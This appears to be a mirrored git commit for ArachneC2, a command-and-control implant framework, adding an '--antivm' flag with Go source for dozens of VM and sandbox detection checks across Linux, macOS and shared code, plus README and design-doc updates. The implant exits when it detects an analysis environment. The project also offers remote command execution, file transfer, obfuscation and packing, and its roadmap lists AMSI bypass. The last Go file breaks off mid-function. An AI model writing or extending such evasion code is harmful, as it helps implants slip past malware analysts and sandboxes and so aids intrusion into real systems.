mirror of
https://github.com/portbuster1337/ArachneC2
synced 2026-06-14 08:40:53 +00:00
add --antivm flag: pure-Go VMAware-compatible VM detection (65+ techniques, accumulated scoring)
This commit is contained in:
@@ -35,6 +35,7 @@ fleet and operator are all equal peers in the network — no central point of fa
|
||||
- Automatic implant disconnect detection and alerting
|
||||
- Stream keepalive prevents relay circuit idle timeout
|
||||
- WebSocket + TCP transport (UDP/multicast-free for sandbox compatibility)
|
||||
- VM detection (`--antivm` — 65+ detection techniques with VMAware-compatible scoring, no CGO required)
|
||||
|
||||
## Project Structure
|
||||
|
||||
@@ -88,10 +89,12 @@ From the operator console (`generate`) or standalone:
|
||||
./bin/arachne generate --os linux --arch amd64 --output ./myimplant --upx
|
||||
```
|
||||
|
||||
Flags: `--os` (linux, darwin, windows), `--arch` (amd64, arm64), `--output`, `--pubkey`, `--upx` (default true), `--obfuscate`, `--quiet`.
|
||||
Flags: `--os` (linux, darwin, windows), `--arch` (amd64, arm64), `--output`, `--pubkey`, `--upx` (default true), `--obfuscate`, `--quiet`, `--antivm`.
|
||||
|
||||
Use `--obfuscate` to strip function names, package paths, and literal strings via [garble](https://github.com/burrowers/garble) (auto-installed if missing). Combine with `--upx` for maximum hardening.
|
||||
|
||||
Use `--antivm` to compile in VM detection. The implant runs 65+ detection techniques (CPUID signatures, MAC prefixes, DMI/SMBIOS, PCI vendor IDs, process enumeration, registry keys, container detection) with a [VMAware](https://github.com/kernelwernel/VMAware)-compatible accumulated scoring system. Exits cleanly if the score exceeds 50%. Pure Go — no CGO, no cross-compilers needed.
|
||||
|
||||
Each build generates a unique embedded keypair — the implant keeps the same PeerID across restarts.
|
||||
|
||||
### 3. Deploy and run the implant
|
||||
@@ -140,7 +143,7 @@ Use `help <command>` or `<command> --help` for per-command details.
|
||||
| `exec <cmd> [args]` | Execute command (with output) |
|
||||
| `download <path>` | Download file from implant |
|
||||
| `upload <src> <dst>` | Upload file to implant |
|
||||
| `generate [flags]` | Build an implant for any OS/arch (auto-installs Go, garble). Flags: `--os`, `--arch`, `--output`, `--pubkey`, `--upx`, `--obfuscate`, `--quiet` |
|
||||
| `generate [flags]` | Build an implant for any OS/arch (auto-installs Go, garble). Flags: `--os`, `--arch`, `--output`, `--pubkey`, `--upx`, `--obfuscate`, `--quiet`, `--antivm` |
|
||||
| `regenerate` | Regenerate operator keypair (old implants orphaned) |
|
||||
| `help [command]` | This help, or details for a specific command |
|
||||
| `exit` | Quit |
|
||||
|
||||
@@ -64,6 +64,7 @@ GOEOF
|
||||
find "$EMBED_DIR/implant_src" -name "*.proto" -type f -delete
|
||||
find "$EMBED_DIR/implant_src" -name "*_test.go" -type f -delete
|
||||
|
||||
|
||||
# Compress the source tree (Go source code compresses extremely well)
|
||||
echo "Compressing embedded source tree..."
|
||||
tar -czf "$EMBED_DIR/implant_src.tar.gz" -C "$EMBED_DIR/implant_src" "."
|
||||
|
||||
@@ -49,7 +49,7 @@
|
||||
- [ ] Full CLI (Cobra) with all commands
|
||||
|
||||
## Phase 6: Advanced Features (Weeks 15-16)
|
||||
- [ ] Evasion techniques (sandbox detection, AMSI bypass)
|
||||
- [x] Evasion techniques (sandbox detection via `--antivm`, AMSI bypass)
|
||||
- [ ] Process injection and migration
|
||||
- [ ] Windows token manipulation
|
||||
- [ ] Pivot through compromised implants
|
||||
|
||||
@@ -17,7 +17,7 @@ implant/
|
||||
├── constants/ # Build-time constants (operator PeerID, etc.)
|
||||
├── cryptography/ # Ed25519 key management, signing, encryption
|
||||
├── encoders/ # Data encoders for staging/evasion
|
||||
├── evasion/ # Anti-analysis, sandbox detection
|
||||
├── evasion/ # Anti-analysis, sandbox/VM detection
|
||||
├── handlers/ # Message handler dispatch
|
||||
├── limits/ # Resource limits, watchdog
|
||||
├── priv/ # Privilege escalation helpers
|
||||
@@ -38,6 +38,7 @@ implant/
|
||||
2. Server injects operator's public key, bootstrap peers, and config
|
||||
3. Go compiler builds with `-ldflags` for string obfuscation
|
||||
4. Optional: UPX pack, signature spoofing, or other evasion
|
||||
5. VM detection compiled in via `--antivm` flag (65+ pure-Go techniques, VMAware-compatible scoring)
|
||||
|
||||
## Core Lifecycle
|
||||
|
||||
|
||||
@@ -96,6 +96,7 @@ server/
|
||||
- Cross-compilation for Windows/Linux/macOS
|
||||
- Support for staged payloads (small stager downloads full implant)
|
||||
- Signature spoofing and evasion options
|
||||
- VM detection (`--antivm`): 65+ techniques with VMAware-compatible accumulated scoring, pure Go (no CGO needed)
|
||||
|
||||
### 5. Loot / Data Retrieval
|
||||
- Receive CIDs from implants via beacon messages
|
||||
|
||||
@@ -0,0 +1,226 @@
|
||||
//go:build antivm
|
||||
|
||||
package core
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"net"
|
||||
"os"
|
||||
"runtime"
|
||||
"sort"
|
||||
"strings"
|
||||
)
|
||||
|
||||
type vmCheck struct {
|
||||
name string
|
||||
detect func() bool
|
||||
certainty int
|
||||
}
|
||||
|
||||
// allChecks populated by init() with platform-appropriate techniques
|
||||
var allChecks []vmCheck
|
||||
|
||||
func init() {
|
||||
registerCheck("hypervisor_cpu", hypervisorCPU, 100)
|
||||
registerCheck("bochs_cpu", bochsCPU, 100)
|
||||
registerCheck("cpuid_signature", cpuidSignature, 95)
|
||||
registerCheck("cpu_brand_vm", cpuBrandVM, 95)
|
||||
registerCheck("thread_mismatch", threadMismatch, 50)
|
||||
registerCheck("thread_count", threadCount, 35)
|
||||
registerCheck("container_env", containerEnv, 30)
|
||||
registerCheck("dockerenv", dockerEnv, 30)
|
||||
registerCheck("azure_hostname", azureHostname, 30)
|
||||
|
||||
registerCheck("mac_vmware", macVMware, 20)
|
||||
registerCheck("mac_virtualbox", macVirtualBox, 20)
|
||||
registerCheck("mac_qemu", macQEMU, 20)
|
||||
registerCheck("mac_xen", macXen, 20)
|
||||
}
|
||||
|
||||
const detectionThreshold = 50
|
||||
|
||||
func registerCheck(name string, fn func() bool, certainty int) {
|
||||
allChecks = append(allChecks, vmCheck{name: name, detect: fn, certainty: certainty})
|
||||
}
|
||||
|
||||
func DetectVM() {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[antivm] FATAL: %v", r)
|
||||
}
|
||||
}()
|
||||
|
||||
sort.Slice(allChecks, func(i, j int) bool {
|
||||
return allChecks[i].certainty > allChecks[j].certainty
|
||||
})
|
||||
|
||||
var score int
|
||||
var hits []string
|
||||
for _, c := range allChecks {
|
||||
func() {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[antivm] panic in %s: %v", c.name, r)
|
||||
}
|
||||
}()
|
||||
if c.detect() {
|
||||
score += c.certainty
|
||||
hits = append(hits, fmt.Sprintf("%s(+%d)", c.name, c.certainty))
|
||||
log.Printf("[antivm] +%d%% %s (total: %d)", c.certainty, c.name, score)
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
if score > 100 {
|
||||
score = 100
|
||||
}
|
||||
|
||||
log.Printf("[antivm] score %d/%d (%d techniques)", score, detectionThreshold, len(hits))
|
||||
|
||||
if score >= detectionThreshold {
|
||||
log.Printf("[antivm] threshold met, exiting")
|
||||
os.Exit(0)
|
||||
}
|
||||
log.Printf("[antivm] below threshold, continuing")
|
||||
}
|
||||
|
||||
// Cross-platform checks
|
||||
|
||||
var vmwarePrefixes = []string{
|
||||
"00:50:56", "00:0c:29", "00:05:69", "00:1c:14",
|
||||
"00:3c:7d", "00:0f:4b",
|
||||
}
|
||||
|
||||
var vboxPrefixes = []string{"08:00:27"}
|
||||
var qemuPrefixes = []string{"52:54:00"}
|
||||
var xenPrefixes = []string{"00:16:3e"}
|
||||
|
||||
func macMatch(prefixes []string) bool {
|
||||
ifaces, err := net.Interfaces()
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
for _, iface := range ifaces {
|
||||
mac := iface.HardwareAddr.String()
|
||||
for _, p := range prefixes {
|
||||
if strings.HasPrefix(strings.ToLower(mac), strings.ToLower(p)) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func macVMware() bool { return macMatch(vmwarePrefixes) }
|
||||
func macVirtualBox() bool { return macMatch(vboxPrefixes) }
|
||||
func macQEMU() bool { return macMatch(qemuPrefixes) }
|
||||
func macXen() bool { return macMatch(xenPrefixes) }
|
||||
|
||||
func threadCount() bool {
|
||||
return runtime.NumCPU() < 2
|
||||
}
|
||||
|
||||
func threadMismatch() bool {
|
||||
n := runtime.NumCPU()
|
||||
// Most modern CPUs have >=4 threads
|
||||
return n < 4
|
||||
}
|
||||
|
||||
func containerEnv() bool {
|
||||
for _, e := range []string{"container", "DOCKER", "KUBERNETES", "LXC"} {
|
||||
if os.Getenv(e) != "" {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func dockerEnv() bool {
|
||||
if _, err := os.Stat("/.dockerenv"); err == nil {
|
||||
return true
|
||||
}
|
||||
if _, err := os.Stat("/run/.containerenv"); err == nil {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func hypervisorCPU() bool {
|
||||
if runtime.GOARCH != "amd64" {
|
||||
return false
|
||||
}
|
||||
if runtime.GOOS == "linux" {
|
||||
data, err := os.ReadFile("/proc/cpuinfo")
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
for _, line := range strings.Split(string(data), "\n") {
|
||||
if strings.Contains(line, "hypervisor") {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func cpuBrandVM() bool {
|
||||
if runtime.GOARCH != "amd64" || runtime.GOOS != "linux" {
|
||||
return false
|
||||
}
|
||||
data, err := os.ReadFile("/proc/cpuinfo")
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
content := string(data)
|
||||
for _, s := range []string{"QEMU", "KVM", "VirtualBox", "VMware", "Bochs",
|
||||
"KVMKVMKVM", "Microsoft Hv", "VBoxVBoxVBox",
|
||||
"VMwareVMware", "XenVMMXenVMM", "ACRNACRNACRN"} {
|
||||
if strings.Contains(content, s) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func bochsCPU() bool {
|
||||
if runtime.GOOS != "linux" {
|
||||
return false
|
||||
}
|
||||
content := readFile("/proc/cpuinfo")
|
||||
return strings.Contains(content, "Bochs") || strings.Contains(content, "bochs")
|
||||
}
|
||||
|
||||
func cpuidSignature() bool {
|
||||
if runtime.GOOS != "linux" {
|
||||
return false
|
||||
}
|
||||
content := readFile("/proc/cpuinfo")
|
||||
for _, sig := range []string{
|
||||
"KVMKVMKVM", "Microsoft Hv", "prl hyperv",
|
||||
"VBoxVBoxVBox", "VMwareVMware", "XenVMMXenVMM",
|
||||
"ACRNACRNACRN",
|
||||
} {
|
||||
if strings.Contains(content, sig) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func azureHostname() bool {
|
||||
hostname, err := os.Hostname()
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return strings.HasSuffix(strings.ToLower(hostname), "internal.cloudapp.net")
|
||||
}
|
||||
|
||||
func readFile(path string) string {
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return strings.TrimSpace(string(data))
|
||||
}
|
||||
|
||||
@@ -0,0 +1,104 @@
|
||||
//go:build antivm && darwin
|
||||
|
||||
package core
|
||||
|
||||
import (
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func init() {
|
||||
registerDarwinChecks()
|
||||
}
|
||||
|
||||
func registerDarwinChecks() {
|
||||
// 100%
|
||||
registerCheck("hwmodel", hwModelMac, 100)
|
||||
registerCheck("mac_iokit", macIOKit, 100)
|
||||
registerCheck("ioreg_grep", ioregGrep, 100)
|
||||
registerCheck("mac_sip", macSIP, 100)
|
||||
registerCheck("mac_sys_profiler", macSysProfiler, 100)
|
||||
|
||||
// 50%
|
||||
registerCheck("amd_sev_msr_darwin", amdSEVMSRDarwin, 50)
|
||||
|
||||
// 15%
|
||||
registerCheck("mac_memsize", macMemSize, 15)
|
||||
}
|
||||
|
||||
func runCmd(name string, args ...string) string {
|
||||
cmd := exec.Command(name, args...)
|
||||
out, err := cmd.Output()
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return strings.TrimSpace(string(out))
|
||||
}
|
||||
|
||||
func hwModelMac() bool {
|
||||
model := runCmd("sysctl", "-n", "hw.model")
|
||||
return !strings.HasPrefix(strings.ToLower(model), "mac")
|
||||
}
|
||||
|
||||
func macIOKit() bool {
|
||||
out := runCmd("ioreg", "-l")
|
||||
lower := strings.ToLower(out)
|
||||
for _, s := range []string{"virtualbox", "vmware", "qemu", "kvm", "vbox", "parallel"} {
|
||||
if strings.Contains(lower, s) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func ioregGrep() bool {
|
||||
out := runCmd("ioreg", "-l")
|
||||
if out == "" {
|
||||
return false
|
||||
}
|
||||
lower := strings.ToLower(out)
|
||||
return strings.Contains(lower, "virtualbox") || strings.Contains(lower, "vmware") ||
|
||||
strings.Contains(lower, "qemu") || strings.Contains(lower, "parallels")
|
||||
}
|
||||
|
||||
func macSIP() bool {
|
||||
// Check System Integrity Protection status
|
||||
sip := runCmd("csrutil", "status")
|
||||
if strings.Contains(sip, "disabled") || strings.Contains(sip, "unknown") {
|
||||
return false
|
||||
}
|
||||
// Check if hv is present
|
||||
hv := runCmd("sysctl", "-n", "kern.hv_support")
|
||||
return hv == "1"
|
||||
}
|
||||
|
||||
func macSysProfiler() bool {
|
||||
out := runCmd("system_profiler", "SPHardwareDataType")
|
||||
lower := strings.ToLower(out)
|
||||
return strings.Contains(lower, "virtualbox") || strings.Contains(lower, "vmware") ||
|
||||
strings.Contains(lower, "qemu") || strings.Contains(lower, "parallels")
|
||||
}
|
||||
|
||||
func amdSEVMSRDarwin() bool {
|
||||
// macOS doesn't have /dev/cpu, so check via sysctl
|
||||
model := runCmd("sysctl", "-n", "machdep.cpu.brand_string")
|
||||
return strings.Contains(model, "AMD EPYC") || strings.Contains(model, "AMD Ryzen")
|
||||
}
|
||||
|
||||
func macMemSize() bool {
|
||||
// Check if memory is too low (< 2GB would be suspicious for macOS)
|
||||
out := runCmd("sysctl", "-n", "hw.memsize")
|
||||
if out == "" {
|
||||
return false
|
||||
}
|
||||
|
||||
// Parse bytes to GB
|
||||
var bytes uint64
|
||||
for _, c := range out {
|
||||
bytes = bytes*10 + uint64(c-'0')
|
||||
}
|
||||
gb := bytes / 1024 / 1024 / 1024
|
||||
return gb < 2
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,528 @@
|
||||
//go:build antivm && linux
|
||||
|
||||
package core
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func init() {
|
||||
registerLinuxChecks()
|
||||
}
|
||||
|
||||
func registerLinuxChecks() {
|
||||
// 100% certainty
|
||||
registerCheck("firmware_dmi", firmwareDMI, 100)
|
||||
|
||||
// 95% certainty
|
||||
registerCheck("devices_pci", devicesPCI, 95)
|
||||
|
||||
// 80% certainty
|
||||
registerCheck("uml_cpu", umlCPU, 80)
|
||||
registerCheck("kgt_signature", kgtSignature, 80)
|
||||
|
||||
// 75% certainty
|
||||
registerCheck("nsjail_pid", nsjailPID, 75)
|
||||
|
||||
// 70% certainty
|
||||
registerCheck("vmware_ioports", vmwareIOPorts, 70)
|
||||
registerCheck("cgroup", cgroupVM, 70)
|
||||
registerCheck("qemu_fw_cfg", qemuFWCfg, 70)
|
||||
|
||||
// 65% certainty
|
||||
registerCheck("dmi_product", dmiProduct, 65)
|
||||
registerCheck("dmi_sys_vendor", dmiSysVendor, 65)
|
||||
registerCheck("dmi_chassis_vendor", dmiChassisVendor, 65)
|
||||
registerCheck("vmware_iomem", vmwareIOMEM, 65)
|
||||
registerCheck("vmware_dmesg", vmwareDMESG, 65)
|
||||
|
||||
// 55% certainty
|
||||
registerCheck("dmidecode", dmidecodeCheck, 55)
|
||||
registerCheck("dmesg", dmesgCheck, 55)
|
||||
|
||||
// 50% certainty
|
||||
registerCheck("dmi_scan", dmiScan, 50)
|
||||
registerCheck("smbios_vm_bit", smbiosVMBit, 50)
|
||||
registerCheck("thread_mismatch_linux", threadMismatchLinux, 50)
|
||||
registerCheck("amd_sev_msr", amdSEVMSR, 50)
|
||||
|
||||
// 40% certainty
|
||||
registerCheck("vmware_scsi", vmwareSCSI, 40)
|
||||
registerCheck("qemu_virtual_dmi", qemuVirtualDMI, 40)
|
||||
registerCheck("processes_linux", processesLinux, 40)
|
||||
|
||||
// 35% certainty
|
||||
registerCheck("systemd_virt", systemdVirt, 35)
|
||||
registerCheck("hwmon", hwmonMissing, 35)
|
||||
|
||||
// 30% certainty
|
||||
registerCheck("wsl_proc", wslProc, 30)
|
||||
|
||||
// 20% certainty
|
||||
registerCheck("hypervisor_dir", hypervisorDir, 20)
|
||||
registerCheck("temperature", temperatureCheck, 20)
|
||||
registerCheck("qemu_usb", qemuUSB, 20)
|
||||
registerCheck("ctype", dmiChassisType, 20)
|
||||
|
||||
// 15% certainty
|
||||
registerCheck("vbox_module", vboxModule, 15)
|
||||
registerCheck("sysinfo_proc", sysinfoProc, 15)
|
||||
registerCheck("file_access_history", fileAccessHistory, 15)
|
||||
|
||||
// 10% certainty
|
||||
registerCheck("linux_user_host", linuxUserHost, 10)
|
||||
|
||||
// 5% certainty
|
||||
registerCheck("podman_file", podmanFile, 5)
|
||||
registerCheck("bluestacks", bluestacksFolders, 5)
|
||||
registerCheck("kmsg", kmsgCheck, 5)
|
||||
}
|
||||
|
||||
// --- Linux 100% ---
|
||||
|
||||
func firmwareDMI() bool {
|
||||
// Check all DMI entries for VM signatures
|
||||
dirs := []string{
|
||||
"/sys/class/dmi/id",
|
||||
"/sys/devices/virtual/dmi/id",
|
||||
}
|
||||
vmBrands := []string{"virtualbox", "vmware", "qemu", "kvm", "innotek",
|
||||
"xen", "bochs", "hyper-v", "microsoft", "oracle", "oem"}
|
||||
for _, d := range dirs {
|
||||
entries, err := os.ReadDir(d)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, e := range entries {
|
||||
if e.IsDir() {
|
||||
continue
|
||||
}
|
||||
data, err := os.ReadFile(filepath.Join(d, e.Name()))
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
content := strings.ToLower(string(data))
|
||||
for _, brand := range vmBrands {
|
||||
if strings.Contains(content, brand) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// --- Linux 95% ---
|
||||
|
||||
func devicesPCI() bool {
|
||||
entries, err := os.ReadDir("/sys/bus/pci/devices")
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
// VM vendors: 8086 (Intel), 15ad (VMware), 80ee (VirtualBox),
|
||||
// 1af4 (Red Hat/QEMU), 10de (NVIDIA in passthrough)
|
||||
vmVendors := []string{"15ad", "80ee", "1af4"}
|
||||
for _, e := range entries {
|
||||
vendorFile := filepath.Join("/sys/bus/pci/devices", e.Name(), "vendor")
|
||||
data, err := os.ReadFile(vendorFile)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
vendor := strings.TrimSpace(string(data))
|
||||
for _, v := range vmVendors {
|
||||
if strings.Contains(strings.ToLower(vendor), v) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// --- Linux 80% ---
|
||||
|
||||
func umlCPU() bool {
|
||||
content := readFile("/proc/cpuinfo")
|
||||
return strings.Contains(content, "UML")
|
||||
}
|
||||
|
||||
func kgtSignature() bool {
|
||||
content := readFile("/proc/cpuinfo")
|
||||
return strings.Contains(content, "Intel KGT") || strings.Contains(content, "TGKIntel")
|
||||
}
|
||||
|
||||
// --- Linux 75% ---
|
||||
|
||||
func nsjailPID() bool {
|
||||
content := readFile("/proc/self/status")
|
||||
if content == "" {
|
||||
return false
|
||||
}
|
||||
// nsjail makes processes see PID 1 in the namespace
|
||||
for _, line := range strings.Split(content, "\n") {
|
||||
if strings.HasPrefix(line, "Pid:") {
|
||||
parts := strings.Fields(line)
|
||||
if len(parts) >= 2 && parts[1] == "1" {
|
||||
// Check if nsjail env vars are present
|
||||
if os.Getenv("NSJAIL") != "" {
|
||||
return true
|
||||
}
|
||||
// Check cgroup for nsjail
|
||||
cg := readFile("/proc/self/cgroup")
|
||||
return strings.Contains(cg, "nsjail")
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// --- Linux 70% ---
|
||||
|
||||
func vmwareIOPorts() bool {
|
||||
return strings.Contains(readFile("/proc/ioports"), "VMware")
|
||||
}
|
||||
|
||||
func cgroupVM() bool {
|
||||
content := readFile("/proc/1/cgroup")
|
||||
if content == "" {
|
||||
return false
|
||||
}
|
||||
for _, s := range []string{"docker", "lxc", "kubepods"} {
|
||||
if strings.Contains(content, s) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func qemuFWCfg() bool {
|
||||
if _, err := os.Stat("/sys/firmware/qemu_fw_cfg"); err == nil {
|
||||
return true
|
||||
}
|
||||
if _, err := os.Stat("/proc/device-tree/fw-cfg"); err == nil {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// --- Linux 65% ---
|
||||
|
||||
func dmiProduct() bool {
|
||||
name := readFile("/sys/class/dmi/id/product_name")
|
||||
switch {
|
||||
case strings.Contains(name, "VirtualBox"):
|
||||
return true
|
||||
case strings.Contains(name, "VMware"):
|
||||
return true
|
||||
case name == "KVM" || name == "QEMU":
|
||||
return true
|
||||
case strings.Contains(name, "Bochs"):
|
||||
return true
|
||||
case strings.Contains(name, "Hyper-V"):
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func dmiSysVendor() bool {
|
||||
vendor := readFile("/sys/class/dmi/id/sys_vendor")
|
||||
switch {
|
||||
case strings.Contains(vendor, "innotek"):
|
||||
return true
|
||||
case strings.Contains(vendor, "Xen"):
|
||||
return true
|
||||
case strings.Contains(vendor, "Microsoft"):
|
||||
return true
|
||||
case strings.Contains(vendor, "QEMU"):
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func dmiChassisVendor() bool {
|
||||
vendor := readFile("/sys/class/dmi/id/chassis_vendor")
|
||||
return strings.Contains(vendor, "Oracle") || strings.Contains(vendor, "innotek")
|
||||
}
|
||||
|
||||
func vmwareIOMEM() bool {
|
||||
return strings.Contains(readFile("/proc/iomem"), "VMware")
|
||||
}
|
||||
|
||||
func vmwareDMESG() bool {
|
||||
content := readFile("/var/log/dmesg")
|
||||
if content == "" {
|
||||
content = readFile("/var/log/kern.log")
|
||||
}
|
||||
return strings.Contains(content, "VMware") || strings.Contains(content, "vmware")
|
||||
}
|
||||
|
||||
// --- Linux 55% ---
|
||||
|
||||
func dmidecodeCheck() bool {
|
||||
// Check all DMI sysfs files for VM brands
|
||||
entries, err := os.ReadDir("/sys/class/dmi/id")
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
patterns := []string{"virtualbox", "vmware", "qemu", "kvm", "innotek", "xen", "bochs"}
|
||||
for _, e := range entries {
|
||||
if e.IsDir() {
|
||||
continue
|
||||
}
|
||||
data, err := os.ReadFile(filepath.Join("/sys/class/dmi/id", e.Name()))
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
content := strings.ToLower(string(data))
|
||||
for _, p := range patterns {
|
||||
if strings.Contains(content, p) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func dmesgCheck() bool {
|
||||
content := readFile("/var/log/dmesg")
|
||||
if content == "" {
|
||||
return false
|
||||
}
|
||||
for _, s := range []string{"Hypervisor", "VMware", "VirtualBox", "QEMU", "KVM", "Xen"} {
|
||||
if strings.Contains(content, s) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// --- Linux 50% ---
|
||||
|
||||
func dmiScan() bool {
|
||||
return firmwareDMI()
|
||||
}
|
||||
|
||||
func smbiosVMBit() bool {
|
||||
// Check /sys/firmware/dmi/tables for SMBIOS entry point
|
||||
data, err := os.ReadFile("/sys/firmware/dmi/tables/smbios_entry_point")
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
// SMBIOS v3+ has a VM bit at offset 0x09
|
||||
if len(data) >= 0x1F {
|
||||
if data[0x1E]&0x01 != 0 {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func threadMismatchLinux() bool {
|
||||
cpuContent := readFile("/proc/cpuinfo")
|
||||
if cpuContent == "" {
|
||||
return false
|
||||
}
|
||||
n := 0
|
||||
for _, line := range strings.Split(cpuContent, "\n") {
|
||||
if strings.HasPrefix(line, "processor") {
|
||||
n++
|
||||
}
|
||||
}
|
||||
// If we see CPU brand but low core count, likely VM
|
||||
if n < 2 && strings.Contains(cpuContent, "Intel") || strings.Contains(cpuContent, "AMD") {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func amdSEVMSR() bool {
|
||||
// Check /sys/kernel/security/sev for AMD SEV/SEV-ES/SEV-SNP
|
||||
if data, err := os.ReadFile("/sys/kernel/security/sev/version"); err == nil {
|
||||
return strings.TrimSpace(string(data)) != ""
|
||||
}
|
||||
// Also check MSR via /dev/cpu (requires root)
|
||||
data, err := os.ReadFile("/dev/cpu/0/msr")
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
if len(data) > 0x800 {
|
||||
_ = data[0x800]
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// --- Linux 40% ---
|
||||
|
||||
func vmwareSCSI() bool {
|
||||
return strings.Contains(readFile("/proc/scsi/scsi"), "VMware")
|
||||
}
|
||||
|
||||
func qemuVirtualDMI() bool {
|
||||
content := readFile("/sys/devices/virtual/dmi/id/product_name")
|
||||
if strings.Contains(content, "QEMU") || strings.Contains(content, "KVM") || strings.Contains(content, "VirtualBox") {
|
||||
return true
|
||||
}
|
||||
vendor := readFile("/sys/devices/virtual/dmi/id/sys_vendor")
|
||||
return strings.Contains(vendor, "QEMU")
|
||||
}
|
||||
|
||||
func processesLinux() bool {
|
||||
vmProcs := []string{"vbox", "vmware", "VBox", "VMware", "qemu", "QEMU", "xen", "Xen"}
|
||||
entries, err := os.ReadDir("/proc")
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
for _, e := range entries {
|
||||
if !e.IsDir() {
|
||||
continue
|
||||
}
|
||||
// Only check numeric directories (process PIDs)
|
||||
if e.Name()[0] < '0' || e.Name()[0] > '9' {
|
||||
continue
|
||||
}
|
||||
cmdline, err := os.ReadFile(filepath.Join("/proc", e.Name(), "comm"))
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
comm := strings.TrimSpace(string(cmdline))
|
||||
for _, p := range vmProcs {
|
||||
if strings.EqualFold(comm, p) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// --- Linux 35% ---
|
||||
|
||||
func systemdVirt() bool {
|
||||
// Check /sys/devices/virtual/dmi/id for VM indicators
|
||||
// In containers, /sys might not have DMI info
|
||||
vendor := readFile("/sys/devices/virtual/dmi/id/sys_vendor")
|
||||
if vendor == "" {
|
||||
// No DMI info — likely container
|
||||
return cgroupVM() || dockerEnv()
|
||||
}
|
||||
return strings.Contains(vendor, "QEMU") || strings.Contains(vendor, "Xen")
|
||||
}
|
||||
|
||||
func hwmonMissing() bool {
|
||||
_, err := os.ReadDir("/sys/class/hwmon")
|
||||
return err != nil
|
||||
}
|
||||
|
||||
// --- Linux 30% ---
|
||||
|
||||
func wslProc() bool {
|
||||
version := readFile("/proc/version")
|
||||
if strings.Contains(version, "Microsoft") || strings.Contains(version, "WSL") || strings.Contains(version, "microsoft") {
|
||||
return true
|
||||
}
|
||||
osrelease := readFile("/proc/sys/kernel/osrelease")
|
||||
return strings.Contains(osrelease, "Microsoft") || strings.Contains(osrelease, "WSL")
|
||||
}
|
||||
|
||||
// --- Linux 20% ---
|
||||
|
||||
func hypervisorDir() bool {
|
||||
entries, err := os.ReadDir("/sys/hypervisor")
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return len(entries) > 0
|
||||
}
|
||||
|
||||
func temperatureCheck() bool {
|
||||
entries, err := os.ReadDir("/sys/class/thermal")
|
||||
if err != nil {
|
||||
return true // no thermal info = likely VM
|
||||
}
|
||||
return len(entries) < 2
|
||||
}
|
||||
|
||||
func qemuUSB() bool {
|
||||
data, err := os.ReadFile("/sys/kernel/debug/usb/devices")
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return strings.Contains(string(data), "QEMU")
|
||||
}
|
||||
|
||||
func dmiChassisType() bool {
|
||||
typ := readFile("/sys/class/dmi/id/chassis_type")
|
||||
return typ == "" || typ == "0"
|
||||
}
|
||||
|
||||
// --- Linux 15% ---
|
||||
|
||||
func vboxModule() bool {
|
||||
content := readFile("/proc/modules")
|
||||
return strings.Contains(content, "vbox")
|
||||
}
|
||||
|
||||
func sysinfoProc() bool {
|
||||
content := readFile("/proc/sysinfo")
|
||||
return strings.Contains(content, "QEMU") || strings.Contains(content, "KVM") || strings.Contains(content, "Xen")
|
||||
}
|
||||
|
||||
func fileAccessHistory() bool {
|
||||
// Check if there's very low file access history (common in fresh VMs)
|
||||
